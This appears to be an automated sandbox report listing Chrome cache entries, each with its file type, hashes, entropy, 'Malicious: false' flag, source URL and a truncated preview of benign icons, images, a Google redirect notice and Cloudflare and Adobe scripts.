Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1128". height="400" fill="none" viewBox="0 0 1128 400">. <g clip-path="url(#a)">. <path fill="#fff" d="M0 0h1128v400H0z" />. <path fill="url(#b)" d="M0 0h1128v630.645H0z" transform="matrix(-1 0 0 1 1128 -177)" />. </g>. <defs>. <clipPath id="a">. <path fill="#fff" d="M0 0h1128v400H0z" />. </clipPath>. <pattern id="b" width="1" height="1" patternContentUnits="objectBoundingBox">. <use xlink:href="#c" transform="scale(.00049 .00087)" />. </pattern>. <image. xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACAAAAAR5CAYAAABZKuVNAAAABHNCSVQICAgIfAhkiAAAIABJREFUeJzs/Wm25LiVLdyCHq4iVTbm9fu17UqpzIzC/fD7YY4AT20FSWxgzzlG3Ii8CskNWAukGQmjLd////+/taylWcr91s//Fd62PDTxE9KlOGQBc7Gm2YsuxTJyHjO8DR55/olHn+KQRRw3ZTHBiWWCIYRkTcchC/aiS/f5qdcffGdgzotUusCWPnzk/772fgXwpqV4AxeFLNjD9mSsT31Z0+xFl3jEbB/SrAf2pE9xyCKOm7JYy5AnmgFfMkB3ztXPLaWUL71fxEsPBOTcSKULVLpwtX03ADjh3m0tq6cAvKRP

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1528), with no line terminators
Category:	downloaded
Size (bytes):	1528
Entropy (8bit):	5.556725815232096
Encrypted:	false
SSDEEP:	24:n0ksbJgkZ4qmVtmhkVzGuxZbPzVwcaoGGRRV4BoxWssMGRRctYiRsOEfv11a:nckohc/HVwcJbO6xWsGtFfvi
MD5:	197E64288C1FE764C47A48F81AD5FE8D
SHA1:	5D153EE2F0F15492A160033F3C6B13195A1FE463
SHA-256:	E8A2F9E3174536943C751948DA1016375A8FB573CCD07B2A184C4D6E036C5811
SHA-512:	3B3700A95829D02D64C64CFF766B024F79D4BFBF81D2B836CBEE9057E4BD189DE4C618A84DC4AC5436C180D44FEDC962E407C3C79A4B64BBC00255C8CDFF29AC
Malicious:	false
Reputation:	low
URL:	https://www.google.com.sg/url?q=https://boldlionapparel.com/.i
Preview:	<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Redirect Notice</title><style>body,div,a{font-family:Roboto,sans-serif}body{background-color:#fff;margin-top:3px}div{color:#000}a:link{color:#681da8}a:visited{color:#681da8}a:active{color:#ea4335}div.mymGo{border-top:1px solid var(--gS5jXb);border-bottom:1px solid var(--gS5jXb);background:#f8f9fa;margin-top:1em;width:100%}div.aXgaGb{padding:0.5em 0;margin-left:10px}div.fTk7vd{margin-left:35px;margin-top:35px}</style></head><body><div class="mymGo"><div class="aXgaGb"><font style="font-size:larger"><b>Redirect Notice</b></font></div></div><div class="fTk7vd"> The previous page is sending you to <a href="https://boldlionapparel.com/.i">https://boldlionapparel.com/.i</a>.<br><br> If you do not want to visit that page, you can <a href="#" id="tsuid_JOIPZ5G8FMTwi-gPpYPV6AI_1">return to the previous page</a>.<script nonce="ELJRNtqkhfSLmPhiOEDb6A">(function(){var id='tsuid_JOIPZ5G8FMTwi-g

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	6758
Entropy (8bit):	4.759815109482734
Encrypted:	false
SSDEEP:	48:YghQC2P365rDjW6t16HZL9TtbSWF0H1fLFbe:pQjIrDjGHZL9TlzFsLFbe
MD5:	93895CDD3863C54B096D8918C47D6C26
SHA1:	34EE1D385F0CDB7801725A8024DD1F97DFEA7CFB
SHA-256:	F9164E6DE7C84569DCB2EB5C49844A0C5AF07B9A2410A05A691D360BEEECE0FD
SHA-512:	F6A393E933624C4B6A6E2F42040D509D91DE83172F94A707CCA0FB0588A6FFBC2B15FF0F82B358E144603DBB25168B070552443A96271931F27ED4C3D4B36CF0
Malicious:	false
Reputation:	low
URL:	https://api.www.cloudflare.com/api/v1/marketo/form/2459
Preview:	{"fields":[{"id":"Email","label":"Email:","dataType":"email","validationMessage":"Must be a valid business email.","rowNumber":0,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"CloudFlare_POP__c","label":"CloudFlare POP:","dataType":"hidden","rowNumber":1,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"CountryCode__c","label":"CountryCode:","dataType":"hidden","rowNumber":2,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"Lead_Source_Detail__c","label":"Lead Source Detail:","dataType":"hidden","rowNumber":3,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"LeadSource","label":"Person Source:","dataType":"hidden","rowNumber":4,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"Accept_Language__c","label":"Accept Language:","dataType":"hidden","rowNumber":5,"columnNumber":0,"requir

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 666 x 87, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3127
Entropy (8bit):	7.770794220955855
Encrypted:	false
SSDEEP:	96:vkhtr2K+zCE4VC0+zcBNEk5Z8KM2CfeWXC1:MhoK+zF4VC0+zcfECy7feMC1
MD5:	F8F80A604632A73A4E68BD2DCDDA785F
SHA1:	C3FA07B2EF56E3DE1CD0ED60AB722734001AE8C9
SHA-256:	AE9191EC299C678723ECE9B8D4B4D7E3078427371DF2CF52C85DF523887CB78D
SHA-512:	8E9441A4EB46E2DD14816FE15C3E2E0DB8A34913BF1BDBDB1EAE811137357040B200FAB97AFB7862ED1F53A171ED8449DB35C7A76992B50F4810CB5600AA70DC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......W......;......sRGB.........gAMA......a....jPLTE../.....@..0..0..0..8..0..0..4..,..5..4..4..0..3..,..0..5..5..-../..4..5..4..,..,..0..3..3../../...../...../.....-../...../.....-.....-../..-../.....-../.....-..-../.....-../........-../.....-../.....-../.....0..-../..-../..,.....0..-../.....0..-../..,.....0..-../..0..-../.....0..-../..4..,.....3..0..,.....-../..4..,..3..0../..-../..4..,.....3..0../.....3..-../..4..,..3..0../..3..2..4..,.....3..+..0.....3..-..2..4..,.....3..+..0..3..-..2..4..,..3..0..3..-..2..4..,..3..0..2../..3..2..3..0..2..2..3..0..2..2..3..0..2..2..1..3..0..2..2..1..3..0..2..2..1..3..0..2..2..1..0..2..2..1..0..2..2..1..0..2..1..0..1..1..1..1.}S.....tRNS..... @@@.........................@IDATx.....1...sg<.d....x(.*.:.^..........(..B.[.<t0?.7.4.iRd..^;.#..v...$"....3.k..T...?.p..........!~]...........6.M...?..."...B.5...'......^..\.:..G.D....,i.....OVo._.&3Y.a..@.J..?...!...&[.@6.Ppg..(....7y...O.o..G...T...!o9.o..o...Sg....17.....

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.731892227292928
Encrypted:	false
SSDEEP:	12:tr2b8EAuCh6bQHMaDzQWFRXuUm6T6xMNw:tCb8EAu1bgM0zDW6THw
MD5:	D36C2A83941456B1913D47C2581C8C7D
SHA1:	5E25E2D26797BEB4FB5EC232C24A332C991BD2B4
SHA-256:	0213ED880970A5F67C2984C86C57DB48534DDD5FC0FEC78ED511EFC79C5B21A9
SHA-512:	CA93719DBC4B88BDF019DDD11751F15A9AAAFE2A0BEB27C2DD168C7E708EDDD4F5D5432065A12577B77D4F0707845B2B2F6EDCD70790EE50BEFE64D9B20EE76C
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M37.8075 4.5H10.1925L8.6925 6V18.66C8.6925 34.8225 21.795 42.4575 23.2875 43.2825H24.75C26.25 42.4575 39.33 34.8225 39.33 18.66V6L37.8075 4.5ZM11.6925 18.66V7.5H22.5V39.21C18.75 36.465 11.6925 29.85 11.6925 18.66ZM36.3075 18.66C36.3075 29.85 29.2875 36.465 25.5075 39.21V7.5H36.3075V18.66Z" fill="#FF6633"/>.</svg>.

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2163 x 1128, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	34038
Entropy (8bit):	7.859337999925548
Encrypted:	false
SSDEEP:	768:Qyu5YbZGq/eHiDVAjeKxNyeIYja3vc2YgO2jCBuf14UkviST:feg/eHiDExQcIc2JOAMymT
MD5:	2C01C0CEE256304E53E1C62DF86DE588
SHA1:	8CCC9152A58610E7D9A30E86D475E40758E7BCDF
SHA-256:	4C1EB18B4056B3FDAA53F5374509B04907B5F7AF78DA7B492B4FFFADC30A8D97
SHA-512:	9187ABED974492F0416389D7C0433664EE52E6DDE400C8021DC1F3D51BCF26A59BB93F0DD67E64AB9D6668E75D60E3155A9AD36BA94F490158EC79817603B4B4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...s...h.............PLTE...qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq.................................qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq.........................................................................................Pe.Pe.Pe.Pe.Pe.Pe.Pe....Pe.Pe.Pe.Pe....Pe.Pe.Pe.Pe.Pe.................................Pe.Pe.}..fr.Pe.Peqqq......qqq....}}...xww.............~\|\|.......................qqqqqq...........................T+.3....tRNS...D"w....f...U3 @P.`.....0..p.. p..`0.......@P@0`....P ............p.....@.....`...0.. .Pp......................=...................@.0. ..`.......]IDATx......0...Y..q........................................SU...p......$G..A...P...m'..@.).....[....Vd...A...&"""..b...2P..3.....&k-..@...DDDd..d.....s......X.......9DDD....z..`>...""".....c.w.....S.. ..6....w.}l..6..U.\|...n..&2.X......*...{3 H.....""".D..Y..>9'..>.'.q.._..k..k..J.>%..'W..3T.O..^7....P..Aj..-..JDDDfp...U.0....i,..j.t.>..}.k9..^

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1658
Entropy (8bit):	4.294083277342727
Encrypted:	false
SSDEEP:	24:twU/ru1ak8sYuNUiLaUVLjY6iNq/WwPSABAyK6IyYk5tNwKqTgudNuBqox7jDTSk:H/foEiF9r+bq3Xqb3uBrU4aY
MD5:	3FFA263596A960508543F195D1E596F1
SHA1:	A061C379EEC56F577506971BD9338FD849F7258A
SHA-256:	9C12D45C310386A3B616ACDF00DFFB4770225D839FF36767F4EAB262D5338E81
SHA-512:	DFBFBF3528D718FBE8CDC65F265FA8CA867334741CF49736FBDB8E4255463F9C0C2890B3AB44220FA4C1E98D9D37A97366BFA65A4044F0B89EC3FFC52B9F06FA
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/1Xar1H4WcFHHkHRDzMypMh/1f8989ae11cb464cc640c7121d0be9a6/logo_mars_trusted-by_gray.svg
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M37.1765 23.4511V0.193726C37.649 0.193726 38.0548 0.513293 38.6138 1.10834L47.5639 10.0585L56.5141 1.10834C57.0063 0.597868 57.4038 0.193726 58.0167 0.193726V23.4511H53.1823V12.345L47.5639 17.8981L42.024 12.345L42.0109 23.4511H37.1765Z" fill="#4E4E4E"/>.<path d="M70.5723 0.193726C70.078 0.193726 69.9532 0.548965 69.5804 1.36966L60.0029 23.4511H65.164L66.1962 20.8379H74.0098L75.042 23.4511H81.1044L71.5402 1.36966C71.16 0.53701 70.9548 0.193726 70.5723 0.193726ZM70.103 11.2737L72.3502 16.7875H67.8558L70.103 11.2737Z" fill="#4E4E4E"/>.<path d="M83.1035 0.455078V23.4511H88.5912V14.8276H89.9631C92.2758 14.8276 93.2145 15.6245 94.0105 17.7514C94.9607 20.2675 95.2976 22.004 95.5815 23.4511H101.782L99.8932 17.9634C99.1366 15.7437 98.1573 13.9844 96.3654 12.7878C97.8263 12.1756 99.5107 10.0985 99.5107 7.26544C99.5107 2.81515 96.0074 0.455078 91.531 0.455078H83.1035ZM88.5912 4.50552H90.2245

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3138)
Category:	dropped
Size (bytes):	3284
Entropy (8bit):	5.46051934871401
Encrypted:	false
SSDEEP:	48:YVbY9+qw87WpFtuOXMfUFyJZAeNeMqOIDcgjHQ0jOpXSHVajXKCw1tngEo:YZ2+qJWpFtu4MvX0Mb0jOpXOCN
MD5:	9CF185793291692F744C78C75DA01DD8
SHA1:	1C04DDD887FBFE175884C529CF998BF2903F714D
SHA-256:	B90B775B65C2623322CAAA52D7ACF6AF709CA59BDD475A54043B6308D91828C4
SHA-512:	3F8D9B71E0948DDA240FDAC44A23969FE8627AA39C574F0DFD089ED26E36FD7E5C4BB1AF82FF26AD0BCE0DBE3BCA816C8F7E9AF6B426637EF23E7F6AFF731EBA
Malicious:	false
Reputation:	low
Preview:	// For license information, see `https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement_Module_ActivityMap.js`..function AppMeasurement_Module_ActivityMap(e){function t(){var e=s.pageYOffset+(s.innerHeight\|\|0);e&&e>+f&&(f=e)}function n(){if(l.scrollReachSelector){var t=e.d.querySelector&&e.d.querySelector(l.scrollReachSelector);t?(f=t.scrollTop\|\|0,t.addEventListener("scroll",(function(){var e;(e=t&&t.scrollTop+t.clientHeight\|\|0)>f&&(f=e)}))):0<g--&&setTimeout(n,1e3)}}function r(e,t){var n,r,i;if(e&&t&&(n=l.c[t]\|\|(l.c[t]=t.split(","))))for(i=0;i<n.length&&(r=n[i++]);)if(-1<e.indexOf(r))return null;return e}function i(t,n,r,i,a){var c,o;if((t.dataset&&(o=t.dataset[n])\|\|t.getAttribute&&((o=t.getAttribute("data-"+r))\|\|(o=t.getAttribute(r))))&&(c=o),!c&&e.useForcedLinkTracking&&a){var l;if(t=t.onclick?""+t.onclick:"",n="",i&&t&&0<=(r=t.indexOf(i))){for(r+=i.length;r<t.length;)if(o=t.charAt(r++),0<="'\"".indexOf(o)){l=o;break}for(var s=!1;r<t.length&&l&&(o=t

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (6820)
Category:	downloaded
Size (bytes):	9212
Entropy (8bit):	5.623222452413502
Encrypted:	false
SSDEEP:	192:eMH6hBbHiM9sry6LMGCrakWNmVb+Odjek3tBP+E3cExliPpvVuiVCnSGDli9m+j:VR2sry6sWKb+SdBPvmdVRV/9ma
MD5:	6DAB78BC5E0B29679A48CADA1717DF07
SHA1:	F0C4D3E93439B638AA3F46149064FFEAC294C9C1
SHA-256:	5CE32B378334615A8A63EB409FDC948B0A5884771A12967694B0EC8BA87A7529
SHA-512:	FA2E32EDA8A72590B4E3E460384DC171540B81DF92508E4AE433FFF71D167B43143FC00612B00511E1DFE437FD24CE43969736B5E4945479061C2C181397CD89
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/static/z/s.js?z=JTdCJTIyZXhlY3V0ZWQlMjIlM0ElNUIlNUQlMkMlMjJ0JTIyJTNBJTIyV2hhdCUyMGlzJTIwYSUyMHBoaXNoaW5nJTIwYXR0YWNrJTNGJTIwJTdDJTIwQ2xvdWRmbGFyZSUyMiUyQyUyMnglMjIlM0EwLjgwMDIxODkzNjI0OTg2NDglMkMlMjJ3JTIyJTNBMTI4MCUyQyUyMmglMjIlM0ExMDI0JTJDJTIyaiUyMiUzQTkwNyUyQyUyMmUlMjIlM0ExMjgwJTJDJTIybCUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGd3d3LmNsb3VkZmxhcmUuY29tJTJGbGVhcm5pbmclMkZhY2Nlc3MtbWFuYWdlbWVudCUyRnBoaXNoaW5nLWF0dGFjayUyRiUyMiUyQyUyMnIlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmVhcnRoaGVyb3MuY29tLmRlJTJGJTIyJTJDJTIyayUyMiUzQTI0JTJDJTIybiUyMiUzQSUyMlVURi04JTIyJTJDJTIybyUyMiUzQTI0MCUyQyUyMnElMjIlM0ElNUIlNUQlN0Q=
Preview:	try{(function(w,d){zaraz.debug=(pE="")=>{document.cookie=`zarazDebug=${pE}; path=/`;location.reload()};window.zaraz._al=function(oh,oi,oj){w.zaraz.listeners.push({item:oh,type:oi,callback:oj});oh.addEventListener(oi,oj)};zaraz.preview=(ok="")=>{document.cookie=`zarazPreview=${ok}; path=/`;location.reload()};zaraz.i=function(pH){const pI=d.createElement("div");pI.innerHTML=unescape(pH);const pJ=pI.querySelectorAll("script"),pK=d.querySelector("script[nonce]"),pL=pK?.nonce\|\|pK?.getAttribute("nonce");for(let pM=0;pM<pJ.length;pM++){const pN=d.createElement("script");pL&&(pN.nonce=pL);pJ[pM].innerHTML&&(pN.innerHTML=pJ[pM].innerHTML);for(const pO of pJ[pM].attributes)pN.setAttribute(pO.name,pO.value);d.head.appendChild(pN);pJ[pM].remove()}d.body.appendChild(pI)};zaraz.f=async function(nX,nY){const nZ={credentials:"include",keepalive:!0,mode:"no-cors"};if(nY){nZ.method="POST";nZ.body=new URLSearchParams(nY);nZ.headers={"Content-Type":"application/x-www-form-urlencoded"}}return await fetch(n

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.528554140621409
Encrypted:	false
SSDEEP:	24:tCb8EAua5wui9o8M+JDiCU5G1BeOWM5KViGU/taQcN6Vw:/55w49+rU5CL5K5UFni
MD5:	A62B3B7B93EEBFD53FFBBBE7FEE30FED
SHA1:	1336A9BC91F83F2F88ACDC1A4335333051B8D835
SHA-256:	0B49C3A7766A5F8728B5B3A9DEF5190948E55C31EACDAF6606A0CEF1794B2933
SHA-512:	93A84690BC3DBFC31DE7BD8094FFB6D8AF47864B5973582DF8899ABCAE06B3EC4A50F3A1D35720DEDCB5A562D7F705DCC42D6F34EC2C3C0F530F28C5E18F2D40
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M10.8675 16.2C11.7332 16.2 12.435 15.4982 12.435 14.6325C12.435 13.7668 11.7332 13.065 10.8675 13.065C10.0018 13.065 9.3 13.7668 9.3 14.6325C9.3 15.4982 10.0018 16.2 10.8675 16.2Z" fill="#FF6633"/>.<path d="M15.8925 16.2C16.7582 16.2 17.46 15.4982 17.46 14.6325C17.46 13.7668 16.7582 13.065 15.8925 13.065C15.0268 13.065 14.325 13.7668 14.325 14.6325C14.325 15.4982 15.0268 16.2 15.8925 16.2Z" fill="#FF6633"/>.<path d="M20.91 16.2C21.7757 16.2 22.4775 15.4982 22.4775 14.6325C22.4775 13.7668 21.7757 13.065 20.91 13.065C20.0443 13.065 19.3425 13.7668 19.3425 14.6325C19.3425 15.4982 20.0443 16.2 20.91 16.2Z" fill="#FF6633"/>.<path d="M42 9.05249H6L4.5 10.5525V40.455L6 41.955H42L43.5 40.455V10.5525L42 9.05249ZM40.5 12.0525V17.25H7.5V12.0525H40.5ZM7.5 38.955V20.25H40.5V39L7.5 38.955Z" fill="#FF6633"/>.</svg>.

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294083277342727
Encrypted:	false
SSDEEP:	24:twU/ru1ak8sYuNUiLaUVLjY6iNq/WwPSABAyK6IyYk5tNwKqTgudNuBqox7jDTSk:H/foEiF9r+bq3Xqb3uBrU4aY
MD5:	3FFA263596A960508543F195D1E596F1
SHA1:	A061C379EEC56F577506971BD9338FD849F7258A
SHA-256:	9C12D45C310386A3B616ACDF00DFFB4770225D839FF36767F4EAB262D5338E81
SHA-512:	DFBFBF3528D718FBE8CDC65F265FA8CA867334741CF49736FBDB8E4255463F9C0C2890B3AB44220FA4C1E98D9D37A97366BFA65A4044F0B89EC3FFC52B9F06FA
Malicious:	false
Reputation:	low
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M37.1765 23.4511V0.193726C37.649 0.193726 38.0548 0.513293 38.6138 1.10834L47.5639 10.0585L56.5141 1.10834C57.0063 0.597868 57.4038 0.193726 58.0167 0.193726V23.4511H53.1823V12.345L47.5639 17.8981L42.024 12.345L42.0109 23.4511H37.1765Z" fill="#4E4E4E"/>.<path d="M70.5723 0.193726C70.078 0.193726 69.9532 0.548965 69.5804 1.36966L60.0029 23.4511H65.164L66.1962 20.8379H74.0098L75.042 23.4511H81.1044L71.5402 1.36966C71.16 0.53701 70.9548 0.193726 70.5723 0.193726ZM70.103 11.2737L72.3502 16.7875H67.8558L70.103 11.2737Z" fill="#4E4E4E"/>.<path d="M83.1035 0.455078V23.4511H88.5912V14.8276H89.9631C92.2758 14.8276 93.2145 15.6245 94.0105 17.7514C94.9607 20.2675 95.2976 22.004 95.5815 23.4511H101.782L99.8932 17.9634C99.1366 15.7437 98.1573 13.9844 96.3654 12.7878C97.8263 12.1756 99.5107 10.0985 99.5107 7.26544C99.5107 2.81515 96.0074 0.455078 91.531 0.455078H83.1035ZM88.5912 4.50552H90.2245

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47459)
Category:	downloaded
Size (bytes):	47460
Entropy (8bit):	5.397735966179774
Encrypted:	false
SSDEEP:	768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
MD5:	5D332FD1AE9FEB79A10425DFC3F84FE4
SHA1:	C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
SHA-256:	2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
SHA-512:	01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/62ec4f065604/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	2784
Entropy (8bit):	7.908489878608172
Encrypted:	false
SSDEEP:	48:qgG5qhIK4GvOTfouiiZro2fodEFVWTb7SRjo8pJ7O8o+vfwxZzBfk8zbcu:tKPT5Zro1OVuato8rho++fkgV
MD5:	A12AD470D174D4D43FE36B3099C95905
SHA1:	70C8239C5495C0AF697ED01734CFB4E040B43FC6
SHA-256:	B708D79D325E4BA9F170BE887DC603EF85EA45300B8B919DD855E3611501402B
SHA-512:	921DF9DF19857FD50CDD734172A06EBFD9BEC16AE5DEC1800CC540D4B2645028239536E06C52308130C7C23DC596DDADB557B1AE26082EDCB3211DCD29E938A9
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png
Preview:	RIFF....WEBPVP8L..../6A+..Em.@.;..x'....\|...l..m..D......l.".y.d.".L..p..m..x....C..3.p]...m.z..6A.......~^^1Y.....2....";.-.8l.F.....v.#.$).<...../.c8..-h...@..a$.......&p...D .-.v..v<. _... ...,.~....s..{..-..08...)X.2.5....W..1........>O.0&.......d...X..pq%.4N./..?.l..\|...S.-.....WZ.?....g)L.AK.....$3T..,.~.9....E..}.Bg.eJ.w,....>q1....Wz.\|E.. lIb.h.r..@...c\|.._Q{.}...Cm.l...Jl.d.;~..]!M.o.......\....D1...c.. .I....y.$0.B.j...k.U..k!......vE..7.gPM.......*......K=.!2h..-..J.XNS.&.j......A.W.R!...9.......'......I....-M.0.~....I...X.3".]b)....&.....(.{SE.ae.....;...mM..d6....k.....L..=P.....M.........6...l.~.d...b..K>3.N.z..4.d.u8.-~d...J.{.:.f....,..f....>..)....._...!...a.....9.....F5.....G...!....4,d..5.e7C.:uF..p....X......R[..lji.81...f.3....,6V."1...l..]"K.EB.Q97%.c.F.B..F..j.J~...../...iJ..d.-.t_...Y.6.\|.....7..r...+S.f.<.K...9.a...2`..ae.0...b....Q9.6.l.G.Z....MF.O.yi...Q.#.z+./.p..&.(.Y&...<...[U..S...2{..7.B.T..q/... ..i.

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1967
Entropy (8bit):	4.30884827263401
Encrypted:	false
SSDEEP:	48:H/oyFSYmiuOF4DuhAJuuwaN6NNcGVcdYjq1:HQYWOF4ChAEuwA6AGydYjq1
MD5:	E1F7BEFFD257586E119022C1E05936E2
SHA1:	B7972F38E6DA7BF07A8F5C21C9801C708192A354
SHA-256:	C12AFC4B5532E2BB9516665A1F2EA23DA60786429272B95F3D4B7B2F829E0CDA
SHA-512:	C1EB7285E138DC1849A0FCD74DB08DE1F967EBAD24270EA108C003C2280C57DB44FF04DE6C096A7F07E066FF18BCB695D3AB0DCA4C2E94F078FD9FF8CC060D2C
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/OMwO1Fr8BxHVum0iBbatc/979c1807f5810edc903d4b07c18e0cb0/logo_ibm_trusted-by_gray.svg
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M49 0V1.62H60.7V0H49ZM62.32 0V1.62H79C77.899 0.651281 76.5043 0.0807336 75.04 0H62.32ZM82.24 1.62V0H91.72L92.32 1.62H82.24ZM99.52 0L98.92 1.62H108.88V0H99.52ZM49 4.85999V3.17999H60.7V4.85999H49ZM62.32 3.17999V4.85999H80.92C80.8191 4.26941 80.616 3.70091 80.32 3.17999H62.32ZM82.24 4.85999V3.17999H92.86L93.4 4.85999H82.24ZM98.32 3.17999L97.78 4.85999H108.88V3.17999H98.32ZM52.36 8.03999V6.35999H57.4V8.03999H52.36ZM65.68 6.35999V8.03999H70.72V6.35999H65.68ZM75.64 8.03999V6.35999H81.04C81.0167 6.931 80.9158 7.49618 80.74 8.03999H75.64ZM85.6 6.35999V8.03999H94.54L93.94 6.35999H85.6ZM96.64 8.03999L97.24 6.35999H105.64V8.03999H96.64ZM52.36 9.60004V11.22H57.4V9.60004H52.36ZM65.68 11.22V9.60004H80.02C79.6457 10.2254 79.1572 10.775 78.58 11.22H65.68ZM85.6 9.60004V11.22H90.64V10.32L91 11.22H100.24L100.6 10.32V11.22H105.64V9.60004H96.16L95.62 10.98L95.14

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2485
Entropy (8bit):	7.876592005079966
Encrypted:	false
SSDEEP:	48:v/xwXiYbH0Y39tgMknRXn+wq4C/l8ppeOsiPZzY4Jz4hMgzSJun4NNNNNNN5:HcVIY39tgMkRX+wq4mifNvPpYSqnK
MD5:	112AD5F84433E5F46D607F73FB64BD60
SHA1:	A8BF11F3F6099CA49D1CBF73C050EB7E6FBC68B4
SHA-256:	0F84307AD691800E391FCCB42B4BA290A87FEBF001ABEDFBE03B34767D45E441
SHA-512:	A0FDDEC2CECC71AA2FE16EB01AA541051A5FD1B9F0FEAB18413007186826E81C2E582EC7F48F7242FA4142E7BB0105B29D1F11F1062F96D255F743050C97B65C
Malicious:	false
Reputation:	low
